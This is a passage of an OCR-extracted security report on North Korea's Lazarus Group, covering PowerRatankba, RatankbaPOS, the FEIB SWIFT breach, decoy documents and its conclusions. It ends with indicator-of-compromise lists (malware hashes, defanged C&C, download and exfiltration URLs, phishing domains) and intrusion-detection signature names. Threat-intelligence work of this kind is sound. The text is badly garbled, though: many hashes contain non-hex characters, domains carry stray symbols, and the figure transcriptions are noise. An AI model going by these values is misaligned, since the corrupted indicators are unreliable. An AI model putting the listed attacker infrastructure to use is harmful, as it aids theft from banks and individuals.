hacked by Lazarus Group to steal money via the SWIFT system. One of the implants
(9cc69d81613285352ce92ec3ch44227af5daa8ad4e483ecch9427fe23b122fce) utilized in that attack was a loader and
spreader that writes itself to the Windows temp directory: c:\windows\temp\. This directory is also used by numerous other
Lazarus Group implants including by the RatankbaPOS dropper for the payload drop location as well as for RatankbaPOS
logging. Additionally, there are several instances of code overlap between RatankbaPOS and the FEIB spreader implant.
One such overlap includes the way in which each implant sets up persistence in almost precisely the same way (Fig. 59).

Figure 59: Registry key persistence. Left: FEIB spreader, Right: RatankbaPOS dropper
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DECOYS

Content found in a PowerRatankba JS downloader decoy (transaction.pdf downloaded by transaction.js) was previously
utilized in Lazarus campaigns using techniques that have more traditionally, to our knowledge, been used for espionage
rather than for financial gain. The campaign occurred on August 4th, 2017, where Lazarus Group impersonated a National
police officer of South Korea along with a malicious Microsoft Office Excel document. The malicious Excel attachment
utilized a macro-based VBScript XOR dropper technique that has been very well documented in public already.

The document used in this attack was named H/E 7 2! H2HLH 3. xIs
(b46530fa2bd5f9958f664e754ae392dc400bd3fcb1c5adc7130b7374e0409924), which roughly translates to “Bitcoin
transaction history.” Using the macro-based VBScript XOR dropper technique a CoreDn downloader implant is dropped to
disk with a C&C of www.unsunozo[.]Jorg. The interesting overlap with the PowerRatankba campaigns can be found in the
lure used by the Excel spreadsheet (Fig. 60). The highlighted transactions, after the “Final bitcoin Address” section match
with the beginning of the transactions used in the PowerRatankba decoy transaction.pdf.

Do | IBFRESE| & ® )0 S8 0 |- e = Tovls | Fil&Sign | Comment

708 F97akET
a2 5]
I}

ol e Transaction i biteoin address
e T —— — ———

|| 2017/04/21 §7 440 26<5¢¢ | e4bEGIRRTO0S | 4243 40882020 12290¢ 7187 420432810035366 1786 EN TG IXW EASH o bwAPGROLIT 20 pEcAXHE 13 2007289

2017/04/21 17441 CO0692f37cBT340cd 153000 72b07 40061 abd 602 1552 b3 TIealableka 3l 186d PVaywiaGt imiwy ShKxB8, BsmogEcC

3| 2017704721 17:84. J18h2cedbe 7403137 TOIM2 1ec SbS 1640050364004 38 ka1 92 301 2688550 INTWASGsHRSPNWiskyOnd | NOsSPNDC2D

TT/A21 1744 S8babals 6993 104200 LAdbA 20020514 TOIREE 75  EBATDSE Toeeleaca TERBUAEERTC 86 RXYUMTaAPLVEPSC gy
TT/OAIZT VT G62564168c0cca MDA TacbAZeT2 11 4873112b1310830050¢a3001be7091E__| 1 BaDAGCTITVEmGRjesWalbEvaZusH5eboN

s | 2017/04/2) V728 Oibb3c297d 185301501 0a1eq | SbBA1 7917 11debiR6a67 380607 Faed 1 bdRca T TF2A6ANE 2ESIATTT 1 pRRIURIAGL

T 20170421 17aa 07 LAB0bAB0 s el Abace 152088000825 1444 Sade s 220D COCTOAREST | 1VgFneketcBHBDRGS b KN EIGDORT
T7/04/21 1745714 | BBAIAS33b2eb5anLa0t7e0bbee0ba2 1ABAIB0B06A2I 150 103056900¢HT | 1 TGUZELCINMNBOPRTO ADYVIWWEAHEPDS

17/04/21 174514 | 7568579200309 208baz87 238 5640482231 cOTBASAH 1710285 37a85431cacd | 1 Ghpa REVCUZDOHEMLWEMGAKIg el 195512

Figure 60: Excel CoreDn ~tmp001.xls decoy on the left, PowerRatankba transaction.pdf decoy on the right

On afinal note for this aspect of the actor attribution, campaigns utilizing the VBScript XOR macro technique have
historically been used for attacks more closely associated with espionage than for direct financial gain, as was the case
when several campaigns targeted the personal accounts of employees at US defense contractors. This behavior may offer
a clue as to the desperation North Korea has for procuring currency through illicit means, possibly due to the economic
sanctions imposed on the regime. This may indicate that there has been a significant shift in directives for the Lazarus
team(s) that historically conducted espionage campaigns. Furthermore, several of the campaigns utilizing the old VBScript
XOR macro technique have direct or within-one-week overlap with PowerRatankba campaigns alluding to the possibility
that there is in fact more than one team working under the North Korean umbrella as other companies have suggested
(e.g., Kaspersky’s excellent write-up on Bluenoroff).

iR SWIFT Jer
et B W ARG >
W ENE: 201711015

SWEWAEN, FOT
L TmmsenEnA A report was found in a Facebook post from mickeyfintech that listed a domain
 ampang a56 BETA utilized in several PowerRatankba campaigns as being associated with infrastructure
(2) splwow32.exe BH TR

(2)FleTokenBroker . mui 45195t utilized in the breach of the FEIB (Fig. 61). The domain, trade.publicvm[.Jcom,

(4)FileTokenBroker dil 4 Bfi st

B A o was allegedly connected to the FEIB hack. That domain was also used by several
?;; 0422 140 1) Dot PowerRatankba downloaders and payloads for hosting as well as C&C. This is a low
2) 167.114.32.112(% M=) . . . . . .
e R confidence indicator as we have been unable to corroborate if that domain was in
fact utilized by Lazarus in the hacking of the FEIB.
LAk B o ] SR DB RS
Far Swift incident
Bateof cammunieatan: 201710115 Figure 61: Facebook post listing PowerRatankba domain as being associated
;\Ta:::;:e::‘;‘li?‘o’::r:mr:a‘;;:n::minlmhus acts as soon as possible. With FE I B breach

1 Malicious program information

Name Function description

(1) Msmpeng. Exe tool

(2) Splwow32. Exe tool

(3) Filetokenbroker. DIl. Mui Trojan program

(4) Filetokenbroker. DIl program

(5) AA. Txt. TMP SOFTWARE Encryption software
(6) Bitsran. Exe file encryption software

2in ion with malicious ing, the hackers were found to
be using the malicious relay station ip and password as follows:
(1) 94.23.148.41 (Netherlands)
(2) 167.114.32.112 (United States)
(3) 217.182.15.21 (the)
(4) 169.16.135.223 (New York)
5) sportsforms.net

(6) trade.publicvm.com
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https://researchcenter.paloaltonetworks.com/2017/04/unit42-the-blockbuster-sequel/
https://researchcenter.paloaltonetworks.com/2017/08/unit42-blockbuster-saga-continues/
https://en.wikipedia.org/wiki/Room_39
https://securelist.com/files/2017/04/Lazarus_Under_The_Hood_PDF_final.pdf

CONCLUSION

This report has introduced several new additions to Lazarus Group’s ever-growing arsenal, including a variety of different
attack vectors, a new PowerShell implant and GhOst RAT variant, as well as an emerging point-of-sale threat targeting
South Korean devices. In addition to insight into Lazarus’ emerging toolset, there are two key takeaways from this research:

* Analyzing a financially motivated arm of a state actor highlights an often overlooked or underestimated aspect of state-
sponsored attacks; in this case, we were able to differentiate the actions of the financially motivated team within Lazarus
from those of their espionage and disruption teams that have recently grabbed headlines.

* This group now appears to be targeting individuals rather than just organizations: individuals are softer targets, often
lacking resources and knowledge to defend themselves and providing new avenues of monetization for a state-
sponsored threat actor’s toolkit.

* Moreover, both the explosive growth in cryptocurrency values and the emergence of new point-of-sale malware near the
peak holiday shopping season provide an interesting example of how one state-sponsored actor is following the money,
adding direct theft from individuals and organizations to the more “traditional” approach of targeting financial institutions
for espionage that we often observe with other APT actors.
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INDICATORS OF COMPROMISE (10CS)

PowerSpritz ITW URLs

hxxp://skype.2[.]vu/1

hxxp://skype.2[.]vu/k

hxxp://skypeupdate.2[.]Jvu/1

hxxp://telegramupdate.2[.]vu/5
hxxps://doc-00-64-docs.googleusercontent[.Jcom/docs/securesc/
ha0ro937gcuc717deffksulhgsh7mbp1/39cbphg8k5qve4qg5rrénonee
1bueiuBo/1499428800000/13030420262846080952/*/0B63J1WTZC49h
X1JnZUo4Y1pnRG8?e=download

hxxps://drive.google[.]Jcom/uc?export=download&id=0B63J1WTZC49hdDROCcIR3cFpITVE
hxxp://201.211.183[.]215:8080/update.php?t=Skype&r=update
hxxp://122.248.34[.]23/Index.php?t=SkypeSetup&r=mail_new
hxxp://122.248.34[.]23/Index.php?t=Telegram&r=1.1.9

PowerSpritz Hashes
cbebafb2f4d77967ffb1a74aac09633b5af616046f31dddf899019ba78a55411
9cal3e56dcb2d1b92e88a0d09d8cab2207ee6d1f55bada744ef81e8b8cf155453
5a162898a38601e41d538f067eaf81d6a038268bc52a86¢f13c2e43ca2487¢c07

PowerSpritz C&C
hxxp://dogecoin.deaftone[.Jcom:8080/mainls.cs
hxxp://macintosh[.]linkpc[.]net:8080/mainls.cs

Microsoft Compiled HTML Help (CHM) Hashes
81617bd4fa5d6c1a703c40157fbe16c55¢c11260723b7f63de022fd5dd241bdbf
d5f9a81df5061c69be9c0ed55fba7d796e1a8ebab7c609ae437¢c574bd7b30b48
4eb2dd5e90bdabdasefbd213c8472775bdd16e67bcf559f58802a8¢371848212
01b047e0f3b49f8ab6ebf6795bc72ba7{63d7acbc68f65f118f66e34de827e49
13e91f399d207178a5aa6de3d680b58fc3f239004e541a8bff2cc3e851b76e8bb
9d10911a7bbf26f5805e39342540761885422b878617f864bfdb16195b7cd0f5
85a263fc34883fc514be48da2d814f1b43525e63049¢c6b180c73c8ec00920151
6¢cb1e9850dd853880bbaf68ea23243bac9c430df576fale679d726d56785984
772b9b873100375¢c9696d87724f8efa2c8c1484853d40b52c6dc6f7759f5db01
6d4415a2cbedc960c7¢c7055626c61842b3a3cad718e2ac0e3d2ac0c7ef41b84d
030b4525558f2c411f972d91b144870b388380059372e1798926cc2958242863

Microsoft Compiled HTML Help (CHM) C&C
hxxp://92.222.106[.]229/theme.gif
hxxp://www.businesshop[.]net/hide.gif

MS Shortcut Link (LNK) Hashes
beecb33ef8adec99bbbal3b64245¢c7230986c3c1a7f3246b0d26¢c641887387bfe
8f0b83d4ff6d8720e134b467b34728c2823c4d75313ef6dce717b06f414bdf5¢

MS Shortcut Link (LNK) C&C
hxxp://tinyurl[.Jcom/y9jbk8cg
hxxp://201.211.183[.]1215:8080/pdfviewer.php?0=0&t=report&m=0

JavaScript Hashes
e7581e1f112edc7e9fbb0383dd5780c4f2dd9923c4acc09b407f718ab6f7753d
7975c09dd436fededd38acee9769ad367bfe07¢c769770bd152f33a10ed36529¢e
100c6400331fa1919958bed122b88f1599a61b3bb113d98b218a535443ebc3a7
8ff100ca86chb62117§1290e71d5f9c0519661d6c955d9fcfb71f0bbdf75b51b3
97c6¢c69405ed721a64c158f18ab4386e3ade19841b0dea3dccebb521faf3a660

41ee2947356b26e4d8aca826ae392be932cd8800476840713e9b6c630972604f
25f13dca780bafb0001d521eabe76a3bd4dd74ce1375960948d41794ece59a66

JavaScript C&C
hxxp://51.255.219][.]82/files/download/falconcoin.zip
hxxp://51.255.219[.]82/theme.gif
hxxp://51.255.219].].82/files/download/falconcoin.pdf
hxxp://apps.got-game[.]org/images/character.gif
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hxxp://apps.got-game[.]org/files/download/transaction.pdf
hxxp://www.energydonate[.Jcom/files/download/bithumb.zip
hxxp://www.energydonate[.Jcom/images/character.gif
hxxp://www.energydonate[.Jcom/files/download/bithumb.pdf

MS Office Docs Hashes
b3235a703026b2077ccfa20b3dabd82d65¢c6b5645f7f15e7bbad1ce8173¢c7960
b9cf1cbalf626668793b9624e55¢c76e2dab56893b21239523f2a2a0281844c6d
972b598d709b66b35900dc21c5225e5f0d474f241fefa890b381089afd7d44ee

MS Office Docs C&C

198.100.157[.]239
hxxp://www.energydonate[.Jcom/files/download/Bithumb.zip
hxxp://www.energydonate[.]Jcom/images/character.gif

Pyinstaller Hashes
b530de08530d1ba19a94bc075e74e2236¢c106466dedc92be3abdee9908e8cf7e
eab612e333baaec0709f3f213f73388607e495d8af9a28511352481e996283f1
eb372423e4dcd4665cc03ffc384ff625ae4afd13f6d0589e4568354be271f86e

Pylnstaller Hosting or Email IDNA
xn--bitcin-zxal[.Jorg
xn--electrm-s2a[.]org
xn--bitcingold-hcb[.]Jorg
xn--bitcoigold-o1b[.]Jcom
xn--bitcoingld-Icb[.]Jcom
xn--bitcoingld-lcbl[.]org
xn--bitcoingod-8yb[.]Jcom
xn--btcongold-54ad[.Jcom
xn--btcongold-g5ad[.Jcom

Likely Related IDNA
xn--6fgp[.Jcom
xn--bitcingold-5bb.[Jcom
xn--bitcingold-jbb[.]Jcom
xn--bitcingold-t3b[.]Jcom
xn--bitcoingol-4kb[.]Jcom
xn--bitoingold-1ib[.Jcom
xn--btcoingold-v8a[.Jcom
xn--bitcoingldwallet-twb[.]Jorg

Pylnstaller C&C
hxxp://www.btc-gold[.]Jus/images/top_bar.gif
hxxp://trade.publicvm[.]Jcom/images/top_bar.gif

PowerRatankba Hashes
41f155f039448edb42c3a566e7b8e150829b97d83109c0c394d199cdcfd20f9b
20f7e342a5f3224cab8f0439e2ba02bb051cd3e1afcd603142a60ac8af9699ba
db8163d054a35522d0dec35743cfd2c9872e0eb446467b573a79f84d61761471
3cd0689b2bae5109caedeb2cfodd4b3a975ab277fadbbb26065€489565470a5¢
b265a5d984c4654ac0b25ddcf8048d0aabc28e36d3e2439d1c0846884285746
1768f2e9cea5f8c97007c6f822531¢c1¢c9043c151187c54ebfb289980ff63d666
99ad06cca4910c62e8d6068801c6122137¢f8458083bb58chc767eebc220180d
{7f2dd674532056c0d67ef1fb7c8ae8dd0484768604b551ee9b6c4405008fe6b
d844777dcafcde8622b9472b6cd442c50¢c3747579868a53a505ef2f5a4f0e26a

NOTE: Several of these domains reflect themes and brands (only BTG) that are confirmed to have been used in phishing attacks. Additionally, they were
registered in the same timeframe, at the same registrar, with matching server characteristics that were observed in the confirmed IDNA infrastructure domains.
These domains in no way indicate that they have been used for attacks, nor that the themes utilized indicate that the entity in question has been targeted or
compromised. We simply assess that this infrastructure is related to Lazarus Group and currently do not know how or if it was utilized for campaigns.
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PowerRatankba C&C
51.255.219[.]82
144.217.51[.]246
158.69.57[.]135
198.100.157[.]239
201.139.226[.167
92.222.106][.]229
apps.got-gamel.]org
trade.publicvm[.]Jcom
www.businesshop[.]net
vietcasino.linkpc[.]net

Related Unknown Purpose C&C
coinbases[.]org
africawebcast[.]Jcom
bitforex.linkpc[.]net
macintosh.linkpc[.]net
coinbroker.linkpc[.]net
moneymaker.publicvm[.]Jcom

RFC18 GhOst RAT
3a856d8c835232fe81711680dc098ed2b21a4feda7761ed39405d453b4e949f6

RFC18 GhOst RAT Download Locations
hxxp://180.235.133[.]235/img.gif
hxxp://180.235.133[.]121/images/img.gif

RFC18 GhOst RAT C&C
180.235.133[.]235:443
180.235.133[.]121:443
51.255.219[.]82:443
158.69.57[.]135:443

RatankbaPOS ITW
hxxp://www.webkingston[.]com/top.gif

RatankbaPOS Hashes

b66624ab8591c2b10730b7138cbf44703abec62bfc7774d626191468869bf21¢
79a4b6329e35e23c3974960b2cecc68ee30ce803619158ef3fefcec5d4671c98
d334c40b42d2e6286f0553ae9e6e73e7e7aaec04a85df070b790738d66fd14fb
2b05a692518a6102c540e209cb4eb1391b28944fdb270aef7ead7e1ddeffsae2

RatankbaPOS Loader C&C
hxxp://www.webkingston[.]Jcom/update.jsp?action=need_update

RatankbaPOS Exfiltration C&C

hxxp://www.energydonate[.]com/list.jsp?action=up
hxxp://online-helpl[.]serveftp[.Jcom/list.jsp?action=up
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ET AND ETPRO SURICATA/SNORT SIGNATURES

2824864,ETPRO TROJAN Ratankba Recon Backdoor/Module CnC Beacon 1
2828904,ETPRO TROJAN RatankbaPOS Dropper CnC Checkin M1
2828905,ETPRO TROJAN RatankbaPOS Dropper CnC Checkin M2
2828906,ETPRO TROJAN RatankbaPOS CnC Checkin
2828921,ETPRO TROJAN PowerRatankba DNS Lookup 1
2828922, ETPRO TROJAN PowerRatankba DNS Lookup 2
2828923,ETPRO TROJAN PowerRatankba DNS Lookup 3
2828924, ETPRO TROJAN PowerRatankba DNS Lookup 4
2828925,ETPRO TROJAN PowerRatankba DNS Lookup 5
2828926,ETPRO TROJAN PowerRatankba DNS Lookup 6
2828927,ETPRO TROJAN PowerRatankba DNS Lookup 7
2828928,ETPRO TROJAN PowerRatankba DNS Lookup 8
2828929, ETPRO TROJAN PowerRatankba DNS Lookup 9
2828930,ETPRO TROJAN PowerRatankba DNS Lookup 10
2828931,ETPRO TROJAN PowerRatankba DNS Lookup 11
2828932,ETPRO TROJAN PowerRatankba DNS Lookup 12
2828933,ETPRO TROJAN PowerRatankba DNS Lookup 13
2828934,ETPRO TROJAN PowerRatankba DNS Lookup 14
2828935,ETPRO TROJAN PowerRatankba DNS Lookup 15
2828936,ETPRO TROJAN PowerRatankba DNS Lookup 16
2828937,ETPRO TROJAN PowerRatankba DNS Lookup 17
2828938,ETPRO TROJAN PowerRatankba DNS Lookup 18
2828939,ETPRO TROJAN PowerRatankba DNS Lookup 19
2828940,ETPRO TROJAN PowerRatankba DNS Lookup 20
2828941,ETPRO TROJAN PowerRatankba DNS Lookup 21
2828942, ETPRO TROJAN PowerRatankba DNS Lookup 22
2828943,ETPRO TROJAN PowerRatankba DNS Lookup 23
2828944, ETPRO TROJAN PowerRatankba DNS Lookup 24
2828945,ETPRO TROJAN PowerRatankba DNS Lookup 25
2828946,ETPRO TROJAN PowerRatankba DNS Lookup 26
2828947,ETPRO TROJAN PowerRatankba DNS Lookup 27
2828948,ETPRO TROJAN PowerRatankba DNS Lookup 28
2828949, ETPRO TROJAN PowerRatankba DNS Lookup 29
2828950,ETPRO TROJAN PowerRatankba DNS Lookup 30
2828951,ETPRO TROJAN PowerRatankba DNS Lookup 31
2828952, ETPRO TROJAN PowerRatankba DNS Lookup 32
2828953,ETPRO TROJAN PowerRatankba DNS Lookup 33
2828971,ETPRO TROJAN RatankbaPOS POS Exfiltration
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